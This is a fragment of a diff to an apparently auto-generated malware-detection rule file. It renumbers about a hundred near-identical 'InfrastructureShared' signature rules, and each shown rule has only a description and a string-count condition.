"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9016,7 +9080,7 @@ rule _InfrastructureShared_818{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_819{ +rule _InfrastructureShared_823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9026,7 +9090,7 @@ rule _InfrastructureShared_819{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_820{ +rule _InfrastructureShared_824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9036,7 +9100,7 @@ rule _InfrastructureShared_820{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_821{ +rule _InfrastructureShared_825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9046,7 +9110,7 @@ rule _InfrastructureShared_821{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_822{ +rule _InfrastructureShared_826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9056,7 +9120,7 @@ rule _InfrastructureShared_822{ ((#a_3a_0 & 1)*22051) >=1 } -rule _InfrastructureShared_823{ +rule _InfrastructureShared_827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9066,7 +9130,7 @@ rule _InfrastructureShared_823{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_824{ +rule _InfrastructureShared_828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9076,7 +9140,7 @@ rule _InfrastructureShared_824{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_825{ +rule _InfrastructureShared_829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9086,7 +9150,7 @@ rule _InfrastructureShared_825{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_826{ +rule _InfrastructureShared_830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9096,7 +9160,7 @@ rule _InfrastructureShared_826{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_827{ +rule _InfrastructureShared_831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9106,7 +9170,7 @@ rule _InfrastructureShared_827{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_828{ +rule _InfrastructureShared_832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9116,7 +9180,7 @@ rule _InfrastructureShared_828{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_829{ +rule _InfrastructureShared_833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9126,7 +9190,7 @@ rule _InfrastructureShared_829{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_830{ +rule _InfrastructureShared_834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9136,7 +9200,7 @@ rule _InfrastructureShared_830{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_831{ +rule _InfrastructureShared_835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9146,7 +9210,7 @@ rule _InfrastructureShared_831{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_832{ +rule _InfrastructureShared_836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9156,7 +9220,7 @@ rule _InfrastructureShared_832{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_833{ +rule _InfrastructureShared_837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9166,7 +9230,7 @@ rule _InfrastructureShared_833{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_834{ +rule _InfrastructureShared_838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9176,7 +9240,7 @@ rule _InfrastructureShared_834{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_835{ +rule _InfrastructureShared_839{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9186,7 +9250,7 @@ rule _InfrastructureShared_835{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_836{ +rule _InfrastructureShared_840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9196,7 +9260,7 @@ rule _InfrastructureShared_836{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_837{ +rule _InfrastructureShared_841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9206,7 +9270,7 @@ rule _InfrastructureShared_837{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_838{ +rule _InfrastructureShared_842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9216,7 +9280,7 @@ rule _InfrastructureShared_838{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_839{ +rule _InfrastructureShared_843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9226,7 +9290,7 @@ rule _InfrastructureShared_839{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_840{ +rule _InfrastructureShared_844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9236,7 +9300,7 @@ rule _InfrastructureShared_840{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_841{ +rule _InfrastructureShared_845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9246,7 +9310,7 @@ rule _InfrastructureShared_841{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_842{ +rule _InfrastructureShared_846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9256,7 +9320,7 @@ rule _InfrastructureShared_842{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_843{ +rule _InfrastructureShared_847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9266,7 +9330,7 @@ rule _InfrastructureShared_843{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_844{ +rule _InfrastructureShared_848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9276,7 +9340,7 @@ rule _InfrastructureShared_844{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_845{ +rule _InfrastructureShared_849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9286,7 +9350,7 @@ rule _InfrastructureShared_845{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_846{ +rule _InfrastructureShared_850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9296,7 +9360,7 @@ rule _InfrastructureShared_846{ ((#a_63_0 & 1)*16931) >=1 } -rule _InfrastructureShared_847{ +rule _InfrastructureShared_851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9306,7 +9370,7 @@ rule _InfrastructureShared_847{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_848{ +rule _InfrastructureShared_852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9316,7 +9380,7 @@ rule _InfrastructureShared_848{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_849{ +rule _InfrastructureShared_853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9326,7 +9390,7 @@ rule _InfrastructureShared_849{ ((#a_63_0 & 1)*20515) >=1 } -rule _InfrastructureShared_850{ +rule _InfrastructureShared_854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9336,7 +9400,7 @@ rule _InfrastructureShared_850{ ((#a_72_0 & 1)*21283) >=1 } -rule _InfrastructureShared_851{ +rule _InfrastructureShared_855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -9347,7 +9411,7 @@ rule _InfrastructureShared_851{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_852{ +rule _InfrastructureShared_856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9357,7 +9421,7 @@ rule _InfrastructureShared_852{ ((#a_62_0 & 1)*17699) >=1 } -rule _InfrastructureShared_853{ +rule _InfrastructureShared_857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9367,7 +9431,7 @@ rule _InfrastructureShared_853{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_854{ +rule _InfrastructureShared_858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9377,7 +9441,7 @@ rule _InfrastructureShared_854{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_855{ +rule _InfrastructureShared_859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9387,7 +9451,7 @@ rule _InfrastructureShared_855{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_856{ +rule _InfrastructureShared_860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9397,7 +9461,7 @@ rule _InfrastructureShared_856{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_857{ +rule _InfrastructureShared_861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9407,7 +9471,7 @@ rule _InfrastructureShared_857{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_858{ +rule _InfrastructureShared_862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9417,7 +9481,7 @@ rule _InfrastructureShared_858{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_859{ +rule _InfrastructureShared_863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9427,7 +9491,7 @@ rule _InfrastructureShared_859{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_860{ +rule _InfrastructureShared_864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9437,7 +9501,7 @@ rule _InfrastructureShared_860{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_861{ +rule _InfrastructureShared_865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9447,7 +9511,7 @@ rule _InfrastructureShared_861{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_862{ +rule _InfrastructureShared_866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9457,7 +9521,7 @@ rule _InfrastructureShared_862{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_863{ +rule _InfrastructureShared_867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9467,7 +9531,7 @@ rule _InfrastructureShared_863{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_864{ +rule _InfrastructureShared_868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9477,7 +9541,7 @@ rule _InfrastructureShared_864{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_865{ +rule _InfrastructureShared_869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9487,7 +9551,7 @@ rule _InfrastructureShared_865{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_866{ +rule _InfrastructureShared_870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9497,7 +9561,7 @@ rule _InfrastructureShared_866{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_867{ +rule _InfrastructureShared_871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9507,7 +9571,7 @@ rule _InfrastructureShared_867{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_868{ +rule _InfrastructureShared_872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9517,7 +9581,7 @@ rule _InfrastructureShared_868{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_869{ +rule _InfrastructureShared_873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -9528,7 +9592,7 @@ rule _InfrastructureShared_869{ ((#a_74_0 & 1)*17443+(#a_6e_1 & 1)*14930) >=2 } -rule _InfrastructureShared_870{ +rule _InfrastructureShared_874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -9538,7 +9602,7 @@ rule _InfrastructureShared_870{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_871{ +rule _InfrastructureShared_875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -9548,7 +9612,7 @@ rule _InfrastructureShared_871{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_872{ +rule _InfrastructureShared_876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9558,7 +9622,7 @@ rule _InfrastructureShared_872{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_873{ +rule _InfrastructureShared_877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9568,7 +9632,7 @@ rule _InfrastructureShared_873{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_874{ +rule _InfrastructureShared_878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9578,7 +9642,7 @@ rule _InfrastructureShared_874{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_875{ +rule _InfrastructureShared_879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9588,7 +9652,7 @@ rule _InfrastructureShared_875{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_876{ +rule _InfrastructureShared_880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9598,7 +9662,7 @@ rule _InfrastructureShared_876{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_877{ +rule _InfrastructureShared_881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9608,7 +9672,7 @@ rule _InfrastructureShared_877{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_878{ +rule _InfrastructureShared_882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9618,7 +9682,7 @@ rule _InfrastructureShared_878{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_879{ +rule _InfrastructureShared_883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9628,7 +9692,7 @@ rule _InfrastructureShared_879{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_880{ +rule _InfrastructureShared_884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9638,7 +9702,7 @@ rule _InfrastructureShared_880{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_881{ +rule _InfrastructureShared_885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9648,7 +9712,7 @@ rule _InfrastructureShared_881{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_882{ +rule _InfrastructureShared_886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9658,7 +9722,7 @@ rule _InfrastructureShared_882{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_883{ +rule _InfrastructureShared_887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9668,7 +9732,7 @@ rule _InfrastructureShared_883{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_884{ +rule _InfrastructureShared_888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9678,7 +9742,7 @@ rule _InfrastructureShared_884{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_885{ +rule _InfrastructureShared_889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9688,7 +9752,7 @@ rule _InfrastructureShared_885{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_886{ +rule _InfrastructureShared_890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9698,7 +9762,7 @@ rule _InfrastructureShared_886{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_887{ +rule _InfrastructureShared_891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9708,7 +9772,7 @@ rule _InfrastructureShared_887{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_888{ +rule _InfrastructureShared_892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9718,7 +9782,7 @@ rule _InfrastructureShared_888{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_889{ +rule _InfrastructureShared_893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9728,7 +9792,7 @@ rule _InfrastructureShared_889{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_890{ +rule _InfrastructureShared_894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9738,7 +9802,7 @@ rule _InfrastructureShared_890{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_891{ +rule _InfrastructureShared_895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9748,7 +9812,7 @@ rule _InfrastructureShared_891{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_892{ +rule _InfrastructureShared_896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9758,7 +9822,7 @@ rule _InfrastructureShared_892{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_893{ +rule _InfrastructureShared_897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9768,7 +9832,7 @@ rule _InfrastructureShared_893{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_894{ +rule _InfrastructureShared_898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9778,7 +9842,7 @@ rule _InfrastructureShared_894{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_895{ +rule _InfrastructureShared_899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9788,7 +9852,7 @@ rule _InfrastructureShared_895{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_896{ +rule _InfrastructureShared_900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9798,7 +9862,7 @@ rule _InfrastructureShared_896{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_897{ +rule _InfrastructureShared_901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9808,7 +9872,7 @@ rule _InfrastructureShared_897{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_898{ +rule _InfrastructureShared_902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9818,7 +9882,7 @@ rule _InfrastructureShared_898{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_899{ +rule _InfrastructureShared_903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9828,7 +9892,7 @@ rule _InfrastructureShared_899{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_900{ +rule _InfrastructureShared_904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9838,7 +9902,7 @@ rule _InfrastructureShared_900{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_901{ +rule _InfrastructureShared_905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9848,7 +9912,7 @@ rule _InfrastructureShared_901{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_902{ +rule _InfrastructureShared_906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9858,7 +9922,7 @@ rule _InfrastructureShared_902{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_903{ +rule _InfrastructureShared_907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9868,7 +9932,7 @@ rule _InfrastructureShared_903{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_904{ +rule _InfrastructureShared_908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9878,7 +9942,7 @@ rule _InfrastructureShared_904{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_905{ +rule _InfrastructureShared_909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9888,7 +9952,7 @@ rule _InfrastructureShared_905{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_906{ +rule _InfrastructureShared_910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9898,7 +9962,7 @@ rule _InfrastructureShared_906{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_907{ +rule _InfrastructureShared_911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9908,7 +9972,7 @@ rule _InfrastructureShared_907{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_908{ +rule _InfrastructureShared_912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9918,7 +9982,7 @@ rule _InfrastructureShared_908{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_909{ +rule _InfrastructureShared_913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9928,7 +9992,7 @@ rule _InfrastructureShared_909{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_910{ +rule _InfrastructureShared_914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9938,7 +10002,7 @@ rule _InfrastructureShared_910{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_911{ +rule _InfrastructureShared_915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9948,7 +10012,7 @@ rule _InfrastructureShared_911{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_912{ +rule _InfrastructureShared_916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9958,7 +10022,7 @@ rule _InfrastructureShared_912{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_913{ +rule _InfrastructureShared_917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9968,7 +10032,7 @@ rule _InfrastructureShared_913{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_914{ +rule _InfrastructureShared_918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9978,7 +10042,7 @@ rule _InfrastructureShared_914{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_915{ +rule _InfrastructureShared_919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9988,7 +10052,7 @@ rule _InfrastructureShared_915{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_916{ +rule _InfrastructureShared_920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -9998,7 +10062,7 @@ rule _InfrastructureShared_916{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_917{ +rule _InfrastructureShared_921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10008,7 +10072,7 @@ rule _InfrastructureShared_917{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_918{ +rule _InfrastructureShared_922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10018,7 +10082,7 @@ rule _InfrastructureShared_918{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_919{ +rule _InfrastructureShared_923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10028,7 +10092,7 @@ rule _InfrastructureShared_919{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_920{ +rule _InfrastructureShared_924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10038,7 +10102,7 @@ rule _InfrastructureShared_920{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_921{ +rule _InfrastructureShared_925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10048,7 +10112,7 @@ rule _InfrastructureShared_921{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_922{ +rule _InfrastructureShared_926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10058,7 +10122,7 @@ rule _InfrastructureShared_922{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_923{ +rule _InfrastructureShared_927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " 